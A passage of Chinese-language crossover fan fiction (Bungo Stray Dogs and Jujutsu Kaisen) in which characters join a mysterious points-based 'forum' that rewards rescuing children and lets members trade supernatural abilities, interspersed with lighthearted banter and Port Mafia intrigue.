“这确实是很残酷的世道，”太宰眼神悲悯，“但更残酷的是，如果你不给他们爱，那么可能他们这辈子都不会相信这玩意儿。” 织田神色微动。 一辈子…都不会相信，是吗？ “我不会把敦交给你们的，”院长捏紧双拳，强调道“如果你们动什么坏心思，我绝对不会屈服。” 他的语气里有种鱼死网破的决然。 “坏心思？我们的目的总比你干的事情-人道得多，”太宰微笑，看向院长后方，“是不是啊，保尔君？” “别用那么恶心的称呼。” 一手刀凭空而至，将准备拼死一搏的院长瞬间击晕。 金发男人小幅度举起左臂，他另一手提着一个昏迷的男孩，正是织田在合照中发现缺席的银发孩子。 在两个合作者坑蒙拐骗的过程中，嘴上说着要罢工的魏尔伦直接潜了一圈，将被关在地牢里的任务目标干脆利落地掏了出来。 “这种地方竟然也有地牢，”魏尔伦笑笑，“该说不愧是人类吗。” 织田作之助沉默地放下枪，非常自然地接手了照顾孩子的工作。 中岛敦情况很不好，身上遍体鳞伤，加上地牢的低温，人已经陷入昏迷。 “这个人怎么处理？”魏尔伦看地上的人像在看尸体，“处理了？” 织田看着远处推开门，从门缝中间偷偷观察他们的孩子们，深深吸了口气。 “先关起来吧，”他叹道“把一切调查清楚。” 中岛敦今日心情大起大落。 被无良恶魔调戏之后，小孩视死如归地睁开眼，看到的是两张陌生的脸。 入侵者身上裹着严实的斗篷，不过兜帽没有拉到底，能看清楚长相。 一人瞳色和发色都很深，很年轻，脖子那里露-出缠绕的绷带。另一人是暗沉的红发，下巴上有短短的未剃的小胡茬。 红发男人温和地托起小孩的后脑勺，仔细地喂了几口水。 “感觉如何？”他轻声询问。 中岛敦对另外一位绷带侠（？）很畏惧，但对和他交流的这一位却能奇异地感到安心。 他小幅度点点头。 “伤口恢复得很快，”那个缠着绷带的人开口了，“就是不知道脑子有没有坏掉，看起来呆呆的诶这孩子。” 红发男人闻言，用肘把人往远离床的方向推了推，示意他别说话。 敦感觉到自己的发顶被轻柔地摸了几下。 “没事了，”红发男人的声音沉缓又安抚，“院长做的那些事，之后绝对不会再发生了。” 实际上，在控制了孤儿院院长之后，论坛已经往公共账户上发放了500积分，证明他们的行事方向正确。不过在调查清楚孩子们所经历的事情之后，积分已经不是什么重要的东西了。 敦心中一颤。 “……你们是谁？”侧躺在床上的孩子不安地捏住自己乱糟糟的银色发尾，极小声询问，“为什么要救我？” 敦没什么小心思，是真的无助，但是真有狗东西会恐吓小孩子。 “我们是专门抓小孩的大坏蛋哦，”绷带男发出嘿嘿嘿的怪笑，“等到晚上就把你拎出被窝吃掉！” 中岛敦“……” 眼看着小孩要重新缩里边去，织田眼疾手快把人薅住，给孩子添了点热水，又拿来几个饭团。 “先吃点东西吧。” 敦肚子咕噜噜乱叫，顿时顾不上害怕了，开始狼吞虎咽。 太宰左看右看，然后伸手摸走了一个饭团，“这孩子瘦瘦的吃不了几个，这个蟹肉的归我啦！” 织田“……” 敦一连吞了五个，终于分出精力偷偷观察。 他先分析出的，是大人们头疼的眼神。 敦对这个很熟悉，这预示着他可能是一个很大的麻烦……这些人，很快就要离开了吧。 敦心中没有埋怨，只有感激。 就算之后有可能会迎接院长更恐怖的训诫，他也很珍惜这难得的温暖时光。 另外，不知道是不是天生的，银发孩子比起其他孩子，有种准到恐怖的直觉。 现在他就觉得，有什么奇怪的地方。 “那个…”敦握住手，犹犹豫豫问道“这个房间里，是有什么东西吗？” 他总感觉这些大人的视线怪怪的。 只要是小孩子，难免都会有关于看不见的怪物的幻想，加上中岛敦所有的注意力都在这几个陌生人身上，导致他成为了第一个见面几分钟就敢猜敢想的…小天才。 本人都没有自觉的敏锐的观察力，和毫无限制的小孩子思维，也为这个判断加了几分。 如果自己的房间里真的有什么看不见的事物的话……这些人没有恶意，但也不可能永远留在这里，他们走了就走了，房间里这个东西又是走是留呢……？想到这，敦猛猛打了个冷颤。 小孩的脑补和真相差了十万八千里。 但是如果要把论坛作为一种未知的形式去相信的话，敦已经满足了这个条件。 未知的维度里，响起两声提示。 【“中岛敦”已满足论坛标准，是否招募？】 【是/否】 “哇，”太宰舔掉嘴角一粒米，第一次露出意外的表情，“满分！” 敦的表现打开了两个人的新思路。 貌似这种超自然的神奇东西，小孩子特别容易信呢！ 两个大人暂时没有投票，开始商量。 织田在犹豫这是否合适，“太小了。” “小孩子也有知情权嘛。” 太宰觉得他们俩身份特殊带不了孩子，这个论坛简直就是及时雨。 “况且他也不小了，我在这个年纪都已经学会入水的十八种姿势了呢” 敦啊？什么入水？ “而且，拉了更省心啊，论坛是有私聊功能的，这样织田作你会更放心啊。” “什么？私聊？”房间中响起另一个声音，把敦吓了一-大跳。男孩上左看右看，最后身后的衣柜顶上发现了主动暴露的金发男人。 魏尔伦感兴趣了。 论坛只有会员可见，不就是天然的加密频道嘛！ “试试吧。”太宰直接投了同意票。 织田露-出不赞同的眼神，然后…跟投了同意。 魏尔伦“……”这种一唱一和就让本人很尴尬了知道不？ 目前论坛的投票功能很智能，由太宰和织田共同做决定，魏尔伦也有跟票权，ban掉的是坂口安吾的投票功能。 不过，在织田基本不会投反对票的情况下，魏尔伦的加入也聊胜于无。看似民-主实则独-裁，决定权目前依旧停留于两个核心成员手上。 敦眼睁睁看着自己面前弹出一个金色屏幕，邀请自己取昵称。 小孩踟蹰了很久，这回轮到太宰治觉得自己失策了。 “这孩子不认字怎么办？” “我认字的。”敦鼓起勇气小声自证。 “那你怎么不取昵称？” “……” 银发孩子选择困难了半晌，挑了一个“敦”的单字。 又是一个用自己名字的老实人。太宰“啧”了一声，拍拍织田的肩膀，感慨道“这孩子比你机灵点，好歹只用了一半。” 织田作“……” 红发男人俯下身，帮敦调出了和自己的对话框。 【织田作之助敦君，这里。】 织田私发了几条消息作为示范。 【织田作之助我是织田作之助，】 太宰同步解释，“有什么要求助的，可以戳这位哥哥哦！戳我也可以。” “哦小声应了，他视线黏了那个对话框许久，接着试探性发了消息。 【敦叔叔好。】 织田“……喊哥哥。” 三个斗篷人来如影去无踪，如一阵灰雾莫名其妙飘来，又随风散去。 敦一个人坐在床上，反复揉眼睛确认。 面前的金色屏幕是真实的。 往后的生活对孩子来说还是一片未知，但是他竟然没有感到恐惧。 因为他和陌生的大人们，有了一个共同的秘密。 敦缩在被窝里，开始磕磕绊绊阅读论坛上的各种内容。 这个论坛的设计真的很糟糕，敦认真扒拉了一下，觉得屏幕的凌乱程度比自己练习时候的狗爬字还要邋遢。 银发孩子先在左上角看见了自己的昵称和积分。 个人账户500 敦咦？为什么我会有钱？ 小孩懵懵懂懂去看能兑换的商品栏， 一连串的5000、5000、1000、1000/min，好多好多0，晕得小敦都数不过来。 可怜孩子第一次感觉到什么是钱包瘪瘪，商城里边儿的他一个也买不起。 敦闷在被窝里翻来翻去，多了一丝乐趣。他在【有事就干】那里面看到了自己的名字，后面有一个小小的绿√。和他相同有绿√的是[织田作之助]，而[芥川龙之介]这个名字后面光秃秃的。 孩子暂时还不懂这是什么意思。 最热闹的还是那个【有话就说】板块。有好几个标注了热门的帖子。 比起置顶的【[hot]论坛新人指引手册】，底下的新帖更加吸引注意。 标题极为简单【[new]14岁以下进】 嗯？ 和他差不多年龄吗？ 中岛敦不受控制地点了进去。 他看见头像是黑白两只狗狗的帖主蹲在1楼，只发了一句话 【1楼｜狗狗最棒了 有人吗？】 千钧一发 伏黑惠安顿好有一段时日了。 他年纪太小,姐姐津美纪也只是普通人。在高专的安排下，他们换到了仙台,被资助着上了新的学校。 惠偶尔他会想起那个不太靠谱的老爹， 但男人的样子很快就和那些痛苦的回忆一起，在脑海里慢慢淡忘了。 小孩和往常一样上学下学、试着交新朋友，和姐姐一起认真经营自己的小家。他还多了一项很郑重的记账的任务，和津美纪合力记下大人们的恩情，准备日后归还。 这样的新生活乍一看没什么区别。 但咒术界背后的光景像是破开了一个小口,朝着小小的惠展现出混乱又新奇的一面。 最明显的变化，是他们有了临时监护人——夜蛾正道老师。 听说夜蛾老师不仅是班主任，还是高专的校长。惠猜测夜蛾校长的工作一定很忙,因为他们最多一个月只能见到对方一次。 惠对夜蛾正道身兼数职这件事表示疑惑。 他们学校的班主任和校长明明不是同一个人。 虽然不常见到监护人，但两个孩子的生活并没有那么无助。 因为他们算不上独居。 ——有很多穿着同一风格制度的哥哥姐姐来见他和姐姐。 尤其是惠在夜晚因为奇怪的影子夜不能寐、或者用奇怪的力量打碎了家里东西的时候。 每个人来的频率不一样,最多次的是一个扎着丸子头、梳着奇怪刘海的大哥哥。 他叫夏油杰，惠和津美纪甚至还经常被对方接送上下学。因为这个哥哥就住在隔壁,是他们的邻居。 伏黑惠知道,夏油哥哥同时是美美子和菜菜子的监护人。这对双胞胎也是他和津美纪的邻居，同样也没有父母陪伴。她们不仅住在隔壁,还跟着自己和姐姐上了同一所学校。 生活平淡得让惠满足。他还不知道自己家世的阴影和隐藏在咒术界深处的黑暗。 但是这孩子优秀的天赋和敏锐的直觉,注定了他不可能置身事外。 这一天比所有人预想得都要早。 惠看见的，是一丝极其浅淡的影子。 那是一枚四四方方的像手帕一样的半透明黑影,总是落在地上,跟随着大人们的影子飘来飘去，像是某个甩不掉的背后灵。 夏油哥哥脚边有,五条悟有,硝子姐姐也有,甚至连夜蛾老师都带着到处跑。 惠一开始全当自己错觉,但次数多了还是没忍住问出了口。 “你们身边总是跟着一个奇怪的东西，是遇到了什么麻烦事吗…？”惠凭借浅薄的认知猜测道“是咒灵吗？” 他问的是五条悟。 一方面，对方总喜欢捉弄他，惠有点小烦，想说点什么转移注意力。 另一方面，这也算是来自小孩的关心。 如果他关心的是夏油杰，有事习惯一个人承担的杰可能会温和地笑笑，不动声色地通过安抚打消孩子的疑虑。如果问的是家入硝子，奶妈可能晃晃未点燃的烟，惊讶地说原来你能看到啊，随后用术式相关的东西糊弄过去。 但是，惠撞上的是五条悟。 在无法无天的五条少主这里，只论强弱和资格，不问年龄。 毕竟这位是个年纪小小就恐吓诅咒师的…强到无敌的男人。 “看到了？那你够格了，”五条悟眉梢一挑，直接透底，“要加入吗？这是一个属于咒术师的特殊组织～” 在引导外人相信论坛存在这方面，高专的几个学生已经掌握了非常熟练的一套说辞。 惠很谨慎，“我需要做些什么。” “安安稳稳长大就可以了，”悟虎摸了一下毛茸茸的海胆脑袋，把孩子摸出一张嫌弃的脸，“然后，不断地变强，至少能保护自己和姐姐。” 惠的表情变了。 悟笑笑，“你也察觉到了吧？黑暗中那些东西——其他的也不用操心，有老子和杰在，是不会有问题的。” 五条悟的意思很清楚——自保就行。 但是伏黑惠被激起了斗志。 面对伏黑惠的加入申请，夏油杰有点意外，家入硝子倒是很想把同期的头拧下来当球踢。 这一回，夜蛾正道竟然站在了同意那一栏。 班主任的考量更为充分，明显是经过了深思熟虑。 “我们没有将小咒术师保护周全的人手，如果发生什么，绝对追悔莫及，”校长认真道“论坛在这一点上能更好地辅助保护。” 事情就这么定了下来——咒术师一方迎来了他们最小的论坛成员。 惠的头像是自动生成的，圆巴巴里一左一右挤着黑白两只狗狗，像是要挤出头像框和他打招呼。 惠不认识这两只狗狗，但本能觉得很亲切。 他的昵称由之而来。 论坛的版面杂乱，对小孩十分不友好。不过惠有足够的耐心，也有超越同龄人的毅力。每天从学习和休闲之外扒拉出一点点时间，慢慢整理论坛上的信息。 【有事就干】版块里，惠最先看到的是公共任务。 他的目光在自己的名字和后面的绿√上停留了一会，什么也没说。 另一件很有意思的事情，是惠发现他自己个人的任务列表，和大人们的任务有所出入。 夏油哥哥那里的是[灰原雄][禅院] 小惠的不一样。他看着自己论坛上的私人任务，里边有两个名字[虎杖悠仁][钉崎野蔷薇] 惠？都是谁 孩子还是小了点，没太理解做任务-拿积分-买术式的关系，他自己的术式还没觉醒呢！遂默默略过。 不过一脚踏入咒术界后，惠的生活不可避免地丰富起来。 夏油杰不仅仅照顾他和津美纪的日常生活，还会瞒着姐姐把弟弟单拎出去做任务。这点上杰没有盲目溺爱，而是会以自己的任务为范例，细致地讲解各类咒灵的特征、行为模式和应对方式。 这一点上，惠、菜菜子和美美子作为咒术师的启蒙不可谓不优秀。 唯一的失策，是杰带着仨孩子飞出去做任务时风太大，把孩子们脑袋吹受凉了，统统排队高专医务室。 为此，杰被硝子狠狠削了一顿。 下一次，优秀的奶爸开小课的时候喊上了同班男同学，使唤对方用「无下限」给小孩们挡风，这回万无一失了。 惠瘫着小脸坐在咒灵背上，内心暗暗高兴。 ——每一次夏油哥哥的实践课结束，他的发型就被吹成了强风大背头，小孩的苦恼之一就这么迎刃而解了。 惠的苦恼之二，是他感觉到有点寂寞。 相互依靠的姐姐是他要保护的人之一，惠既庆幸姐姐没有咒力，不用应付这些乱七八糟的东西，又同时难以找家人完整地倾诉。 虽然邻居双胞胎也和自己一样拥有咒力，一起出任务，但美美子和菜菜子毕竟性别不同，也都没有这个论坛屏幕。 只有惠自己卡在入门阶段，连术式的名称都看不懂。论坛里面的大人也都忙忙碌碌的，伏黑惠僵着小脸不好意思开口。 这样的话，加入了又有什么意义呢？ 惠想变强，很想。 他的国文已经很优秀了，所以孩子琢磨了一下，自己摸索着在那个交流板块发了帖。 【[new]14岁以下进】 1楼｜狗狗最棒了 有人吗？ 惠等了一段时间，感觉没什么动静，就pass掉了这个愚蠢的方法。 然后他发现，他不！会！删！帖！ 自己坑自己的惠“？” 伏黑惠不知道，他发出去的这个交友帖，会在将来成为热度最高的帖子，没有之一。 因为，基本只有无聊到长毛的e人会来这个版块转悠（此处不点名），而某几个糟糕的大人发帖经常一言不合就吵，吵着吵着就禁言，根本聊不到一处去。 到最后，只有青年一代其乐融融在一起交流异能、聊生活经验、互相扶持，其乐融融。 从伏黑惠开始，咒术师这里的论坛任务完成率开始呈井喷式爆发。 如果说夏油杰在术式借出方面是受人欢迎的香饽饽，那五条悟就是做论坛任务赚积分的中流砥柱。 拥有中距离瞬移术式的他，在情报网的辅助之下，效率是极为恐怖的。 而受到伏黑惠的启发，在夜蛾的指导下，高专将攻略的重心转移到了年幼的咒术师身上。 比起大家族的子弟，一些觉醒了才能、但是没有得到专业指导的小咒术师，是更需要帮助的对象。 改变这些孩子的命运，虽然没有伏黑惠和美美子菜菜子分数那么高，但积累起来是相当可观、并且在持续增加的 夏油杰更关注的，是积分赚取的途径。 这还是织田作之助递话给他和夜蛾的。 【不要稀里糊涂地赚，稀里糊涂地用，】织田提醒，不知道是出自谁的授意，【情报是很重要的。】 夏油杰很认同这一点。 因为他们任务的进度条，停滞在了禅院这里。 “不是指的惠那件事吗？”悟推测，“那群老古板还不知道惠的事情…难道要正大光明打上门，在族长面前把五条惠写入五条家族谱？” 悟摸-摸下巴，明显动心了，“也不是不能试。” “住脑，”杰心想你再闹夜蛾就要英年早秃了，“……还是先继续调查吧。” 高专咒术师们谁也没想到，最先动弹的，是灰原雄的进度条。 ＋＋ 夏油杰冲到医务室探望的时候，硝子正解开灰原雄腰间的绷带。 杰的头发长长了些，没办法扎进丸子的碎发散在后颈上，此刻被冷汗浸-湿。 “来得好快。”硝子叼着烟，含混不清道。 “吓了一跳，”夏油杰长呼一口气，“是遇见什么了吗，灰原？” 半小时前，杰的论坛屏幕被术式的借用信息刷屏了。 【“开心每一天”申请借用「咒灵操术·一级咒灵」】 【是（可定时长）/否】 杰接到申请的时候刚做完一个任务，正在被悟缠着一起研究「反转术式」，咒灵操使几乎连一毫秒的犹豫都没有，立刻选择了同意，借用时间无限制。 灰原雄很崇拜他，在学校的时间都很有礼貌地跟着他学习，夏油杰很了解对方的个性。 灰原的能力虽然不像七海那么强，但非常自强，乐观开朗的他从来不给前辈和同期添麻烦。正相反，对方稳定的情绪反而能反哺压力较大的同期。 夏油杰很难想象，是什么样的遭遇让对方动用了明知是前辈们攒下来的公共积分。 杰有了不好的预感，所以他催着悟赶紧去问夜蛾两个学弟的任务地点。 一只一级咒灵并没有解决问题，更糟糕的情况接连发生。 短短5、。 真相一直扑朔迷离，这导致就算灰原呆在车里、肚子上还被咒灵割了一道，都停不下那旺盛的八卦之心。 一直不怎么八卦的硝子闻言，蹙眉，“卡喉咙？不吐？你们在说什么？” 悟憋不住狂笑，“哈哈哈哈哈哈，就是上回，老子吃了杰超级大的那个！” 所有人“？” 夏油杰“？” 首次扣分 “那个”是一个非常实用的词。 它可以用来指代某种你一时想不出来怎么称呼的东西,或者干脆难以完全说明白的东西。五条猫嘴快的时候喵出来的的意思，在夏油杰这里第一时间的翻译是咒灵玉。 但因为人类语言博大精深，他在高专其他人里面被翻译成了其他意思。 七海建人眼神嫌弃地啧了一声,灰原双目发亮恍然大悟,硝子点了根烟压压惊,“原来你是…？” 演，全都在演。五条悟有这个可能性,但所有人都知道夏油杰不可能。尤其是硝子,她可是知道更多内情。不过，八卦在前面人的脑子是控制不住的。 夏油杰目放杀气，表示你们别误会,我今晚就把这家伙宰了以证清白，“是吞了我的咒灵玉被呛到了,差点窒息。” 咒灵操使顿了顿，又贴心地补充提醒,打预防针,“你们之后借了我的术式也不要随便吞，带回来交给我就行。” 这种被人发现自己在吞[哔——]的羞耻经验，悟一个人知道并保密就够了,他不需要任何多余的怜悯和敬佩。 说到「咒灵操术」……灰原雄死里逃生,语气很愧疚。 “夏油学长，真抱歉，把你的咒灵浪费掉了。” 真的是太善良又小心了,夏油杰在心里叹口气。 “大家都更在意你们的安危，”咒灵操使丝毫不为自己的咒灵心疼,能把人救下来,就算是把所有的特级都折没了他也愿意,“七海君肯定也是这么想的。” 灰原更内疚了，“七海，抱歉啊，都怪我犹豫，你的眼睛原本不用受伤的。” “这种事完全不是你的错，”七海半靠在床边，表情劫后余生，“如果没有…的话，我们可能都…” 医务室陷入沉默。 大家都懂七海的未尽之言。 如果不是这个诡异又蛮横的“论坛”，一年级的两个学弟很可能会丧生在这一个任务中。 “所以，这个原本是死局，是吗？” 夏油杰心有余悸。 由结果逆推，他心中生长的疑虑连他自己都觉得毛骨悚然。 在这件事发生前，灰原雄的名字早就出现在了任务清单里。那时候的“论坛”难道早早就预知到了灰原和七海会遭遇的事情？ 如果幕后的家伙有这样的能力，那对方大费周折折腾出这些东西，所图的又是什么？ 夏油杰感觉很混乱，各种思绪在大脑里飞来飞去，就在他陷入更深更黑暗的猜测前，听见悟语气轻松地念叨了一句“所以，杰果然很厉害呢。” 杰“……啊？” “对对！夏油前辈真的超级厉害！”灰原积极接话，如果不是硝子摁着，伤好之后他已经从病床上弹射起飞了，“厉害的咒灵一个接着一个保护我们，超级安心的！” 杰捏了一下自己的刘海尖，不自在道“也没有那么夸张…” “最后的虹龙直接接下了那个特级咒灵的一击，”灰原雄挥着手比划，语调中气十足，丝毫没有被残酷的现实打倒，“真的太酷啦！想到前辈和我一起加入了论坛，就更安心了。谢谢夏油前辈！” 比起摧折后无精打采，灰原小天使更像是被风雨打垮后又能努力新生的树苗。只要他的根深深地扎在高专的土壤中，那连死亡都无法夺走他的坚韧与活力。 确实是个强大的咒灵，夏油杰感受着自己口袋里咒灵玉硬硬的质感，心想7个一级换一个特级真不亏。 就是晚上要继续吞…要不然洗澡放松的时候吞一下吧，这样吐起来动静小也方便。 “不用那么谦虚，杰，”硝子徐徐吐出一口烟雾，表情完全松散下来，分析的话却直中核心，“在这种情况下，兑换论坛里其他任何一个能力，都不能同时把两个人都救下来。” ……是这样吗？ 包括夏油杰在内的几个人都同时在心里思考起来。 和咒灵的对战方面，最实用的当然是「人间失格」，单体作战对咒灵是无敌的，然而两个人的话，除非一下子把这个一级土地神干死，否则七海会有危险。 “老子的术式不好用吗？”悟为自己鸣不平。 “光是「六眼」的副作用，连你本人都很头疼吧？” 硝子看得很透彻。她还没忘掉白头发这回事呢，这对不是那么青春洋溢的少女来说都是不可以忍受的事情。 “还有，拥有「无下限」是一回事，但是能不能用好是另一回事了。爆发后弄死的不仅是敌人，说不定还有自己，啊，控制不好的话，连一旁的同伴都会被卷进去。” 如果是织田作之助，那一定会深以为然地点点头。 当初他找纪德寻仇时那段浑浑噩噩的痛苦经历，正是身体发出了难以承受的信号。攻击的范围也飘忽不定，简直是伤敌一千自损八百。 七海深以为然，他拍了拍灰原的肩膀，感谢同期的不杀之恩，“非常明智、非常冷静的选择。” 而这个冷静的选择，是在一群天才中略显黯淡的小学弟做出的。 灰原小太阳被夸了，会放射出更加温暖的光芒。他挠挠头，笑容灿烂无比，“都是前辈和七海帮忙！和大家一起学习打怪，真的超——幸福的！” [灰原雄]任务条后绿√出现，积分到账，表面上看危机暂时解除了。 但对这个事故，最不依不饶的是夜蛾正道。 夜蛾校长对上高层，难得带上了自己的个人情绪。 开什么玩笑！他们培养出的学生在前线奋勇战斗，结果总监部在后勤这块出了这么大纰漏，特级误判一级，这不是让人白白送命！ 关键这种事不是第一回了，咒术师因为情报出入的伤亡率一直居高不下，总监部却无动于衷，丝毫没有投入时间和金钱的打算。 有“论坛”帮助度过了这一关，那下一关呢？又有谁能保证幕后的人一直愿意庇护着这群孩子？ 夜蛾不敢赌任何可能。 就算他被任命为高专的新一任校长，有一定的权限去弥补情报系统的问题…因为人手短缺，他能做的事也十分有限。 “校长～这件事需不需要老子帮忙啊？”五条悟用着敬语，语气听上去也很随意，白发最强微笑着，第一次在班主任面前说出狠话，“比如把高层清理一下，重构一个咒术界。” 夜蛾清楚对方不是开玩笑。 其实，认真起来的悟才是行事最粗暴、最激进的那个。 校长理所当然地否认了这么一个暴力方案。 血洗？以五条悟的实力绝对是手到擒来。但作为老师和班主任，夜蛾绝对不会同意自己的学生为了某个理想手染鲜血。 悟看上去也是一时兴起，说着玩玩。被拒绝了之后撇撇嘴，这个话题就这么过去了。 “…总监部那里一直在给压力，因为我们碰了平民术师，那是他们一直划分的范围。”对比完全和总监部合作的京都高校，东京这一方生源优势不佳，夏油杰还是夜蛾从人那里抢过来的。 夜蛾校长轻叹一口气，他不是不相信自己的学生，但是有些事不是一两个人能全部抗住的，“你们要注意分寸，循序渐进地来。”同时惹这么多人，就算是最强也会有忽略的地方。 “夜蛾校长，多赚点积分总归是有用的。”这回连求稳为先的夏油杰也站到了五条悟那里，不过为了让师长放心，他说得更加保守，“我们的动作会隐蔽一些的，只是给小咒术师提供帮助，有论坛的话，消息很难第一时刻走漏出去。” 还好，五条悟这只惹事猫身边有个靠谱的在看着。 夜蛾校长心里长舒一口气。 校长不知道一出办公室，夏油杰就开始偷偷摸摸打听了。 “清洗高层会有效果吗？”杰小声问悟。 “怎么说呢，”白发最强丝毫没察觉到友人的心动，以为他只是单纯问问，“短时间的话会更乱吧？夜蛾这方面一直在布置，但是，时间太短啦，这么深的水要一下子趟过去，很困难。” “长时间呢？”杰问，“重建要多久？” “谁知道，要很久吧，毕竟直接掀桌子了。在平静下来之前，不管是咒术师还是平民都没好日子过吧。”悟笑笑，“说到底，这种东西和世家一样，是个炸弹，一个处理不好，影响不可预料。” 杰安静地听着。 悟语气平铺直叙，没有什么唏嘘或者同情。或许对他而言，这一切都没有排队买喜久福来得重要。 夏油杰希望五条悟一直这样。 他也希望对方能更轻松一些，轻松到不需要日夜兼程地做任务，每天出门在阳光下愉悦地溜达。 黑发最强长叹口气，“论坛的调查没什么进展…那现在只能不停地攒分了吗？” “对对，老子要换「反转术式」玩玩。”悟嘴上这么说，实际从互换结束后，他一次申请也没发过。 “已经够了啊，你跟硝子直接申请不就行了？”杰数着积分，觉得够用了，换完「反转术式」还剩不少。而且，[五条悟学会治愈术式]这件事，比任何积分都要有价值。 同世界换实在是太贵了，就算杰心里也馋，但也一次没申请过。他自己学起来也慢，还是不乱花钱了。 “悟的话，一次就够了吧？” 这句话对五条悟来说不算是一种夸奖。 “老子觉得都不用一次，”悟鼓起脸颊，像是下定了什么决心，“老子要靠自己推算出来。” “哈？” “如果研究术式也要靠这论坛的话，总感觉会被人看扁呢。”悟嘟嘟囔囔。 杰“……行。” [谁能看扁你啊？]夏油杰心道，[你的术式已经是全论坛第一了，别人没分买不到，有分买到了也用得没你好。] 说到这个异能或者术式兑换后的效果降级别，似乎在不少人身上发生过。织田作之助的「无下限」失控、「人间失格」降低了接触限制，悟用了一晚上才熟悉「咒灵操术」，自己「反转术式」降低至自愈…… 啊，好像有一个例外。 夏油杰碾了碾指腹，回想起织田作之助在闲聊时透露的事情。 ——刚拿到手就能熟练使用，还能研究出新的技巧…有这种实力的家伙，如果能试着交流一下，说不定能受益匪浅。 “噗唔——” 缠着绷带的拳头碰上一层黑色屏障，轻轻松松将其消除，将对方的脸颊狠狠砸歪。 黑风衣少年面色苍白地朝后踉跄几步，半靠在背后的砖墙上。 他面前的敌人衣衫微微凌乱，黑色西装外套上有不少打斗的破痕，但整个人相对完好。 “不错的攻击～看来这段时间有在努力呀！” 皮鞋踩出的脚步一声又一声，从容不迫地前进，最后停在了黑白发少年前面。 “但是抛下mafia给你准备的后手，不管不顾地追到这里…在配合这方面还是一塌糊涂。” 太宰治居高临下望着自己的昔日学生。 “首领最近一直在扣着你吧？是不是很疑惑，很愤怒？为什么不第一时间让你参与讨伐？——这就是原因啊。” “太宰…先生…”芥川龙之介声音沙哑，“您…你为什么…为什么要背叛…！” “让我看看你这段时间异能进步了多少，”太宰治没回答他的问题，笑眯眯举起枪，毫不留情地对准自己的昔日学生，“这件事也该有点长进了吧？打个十发好了…” 【滴滴滴——】 太宰“？” 【监测到[绷带是什么仙品]对任务目标[芥川龙之介]产生伤害】 【积分-50】 【请注意行为举止，文明说话，礼貌待人】 太宰“…………？” 破镜难圆 恭喜某位没有师德的前mafia干部,贡献出了论坛中的首次扣分。 太宰治可生气了。什么破论坛，他教育学生没看见吗？这可是爱的教育，像芥川龙之介这种打起架来就上头的孩子，抗压的训练方式是最高效也是最有效率的。 ……不过他现在是在干什么？帮mafia培养人才吗？ 太宰在心里啧了一声,收起了枪。 “别来找我了,我是不会回去的。” “为什么要离开？”芥川倔强的眼神,预示着他不问个清楚，这孩子绝对会等伤好之后再次不依不饶地追上来,“您明明为mafia贡献了那么多！有大好前程！为什么抛下一切…？！” 又凭什么……丢下包括他在内的所有人……？！ “大好前程？要真是那样就好了，”太宰忽然笑了,说了芥川听不懂的话,“最近很憋屈吧？干什么事都束手束脚的…如果不是[那个]出现,我可能懒得对mafia做些什么。” 芥川一惊。 他感觉自己面前有一个他绝对不愿意接受的可能，但他的思维不可避免地朝那个方向滑去。 “自己去问问森首领吧，”他听见自己的…老师,这样轻飘飘地把他推远了，“往后，我们就不是一个世界的人了。” 迟钝如芥川龙之介，都明白了话中之意。因为这段时间,并不只有他一人感觉到心气不顺。 ——港口mafia从上到下,都有了一种束手束脚的滞涩感。 一方面体现在mafia的业务上。往常顺利的人脉和交易路径出现不少问题，像是某种糟糕的预兆,让人对未来的估计乐观不起来。 另一方面,原本老老实实呆在mafia势力范围下的附属组织、和介于黑白之间甚至是白道那一方的势力，开始有了动作。 在龙头那一段混乱发展的岁月里,港口mafia是靠拳头和计谋,争得了巨大的威慑力。虽然和异能特务科的博弈上,森鸥外没能成功借mimic一事拿下异能许可证，但是根基依旧扎实。 只要不出什么大事，完全有实力和能耐等待下一个机会，再次迎来平缓之后的发展期。 只要不出什么大事…… 偏偏双黑之一的太宰叛逃，就是大事中的大事！ 近期，以太宰治叛逃为节点，有些怀揣着小心思的组织又蠢蠢欲动起来，通过频繁的小动作再次开始试探某些可能。 这些小打小闹不伤筋动骨，但是足够恶心，也引起了mafia管理层的高度重视。 中低层人员出现了以下流言。 “是不是虚假繁荣啊？难道是异特科要开始撕破脸皮了吗？毕竟是非法组织…” “…你听说了吗？外商那里的大单被取了！对方主动违约但是不满足违约条件！不知道发生了什么…” “最近大家精神都挺紧绷的，唉，以前双黑在的时候…” “…太宰先生为什么…是高层有了什么矛盾吗？” mafia首领森鸥外感觉处处制肘。而撕破和平假面的，是海外宝石生意那一脉，因为关键情报的泄露遭到了毁灭性的打击， 为此，mafia高层召开了紧急会议。 追击失败的芥川龙之介有幸作为行动部队黑蜥蜴的代表，旁听了整个过程。 太宰治作为叛徒泄露情报，反手给了老东家不痛快，这已经是板上钉钉的事实。 现在最主要的问题是，他知道多少？准备泄露哪些方面？mafia在追杀令无法立刻完成的情况下，又该拿出怎样的应急方案？ 最恐怖的是，太宰治究竟是通过怎样的方式，挖取到这些阴私的？ 如果说最近最为异常的情况，那就是「人间失格」失灵这件事。 但是，这说不通。 包括中底层人员都清楚，除了超越者以外，极少有异能力能强悍到瞬间覆灭一个庞然大物。如果有，那种人早就被大势力收纳了，绝对不会被允许流落在外。 吸纳异能力者，是势力保持硬实力的手段。除了肌肉，一个组织更重要的还是位于中心的头脑。往往信息的被动都会成为毁灭的开端。 太宰治有没有「人间失格」这一点，都不会影响“脑”的运转。尤其是在森鸥外一直有所提防的情况下，对方不可能触碰到致命的核心。 然而这种“不可能”，却在现在切切实实地发生了。 森鸥外给干部们看了太宰治在电梯里疑点最多的一段监控视频。 芥川紧紧盯着屏幕，接着，他看见了电梯里一闪而逝的奇怪白雾。 电梯里一身黑的前mafia干部治抬眼，像是早就预料到高层们会复盘这一段录像般，微笑着看向了监控镜头。 “我都知道哦”——他的口型如是说道。 “——砰！” 监控前的桌面被砸了个稀巴烂。 “可恶的混-蛋！”被拉过来看监控的中原中也拳头捏得咯吱响，“我一定要宰了那个叛徒！” 因为mimic的谋划被紧急“出差”的中原中也，又因为叛逃事件被紧急调回国了。 作为双黑中的另一位，重力使气得怒火中烧。 毕竟叛逃的家伙不仅是死对头，自己还因为对方被毁了一辆最心爱的机车。 如果能忍得住不去锤人，那就不叫中原中也了。 虽然目的达到了，但是…森鸥外保持着得体的微笑，眼神飘向那陷下去的桌面，颇有点心疼。 mafia最近流年不利，还是缺钱啊。 在自己的部下离开后，红叶姐以袖掩唇，不缓不慢道“鸥外大人，这会不会是一个陷阱呢？像是故意引诱…我们是否应该更慎重点？” “我们也只是一次试探，”黑发首领不急不缓道“——况且，你拦得住中也吗？” 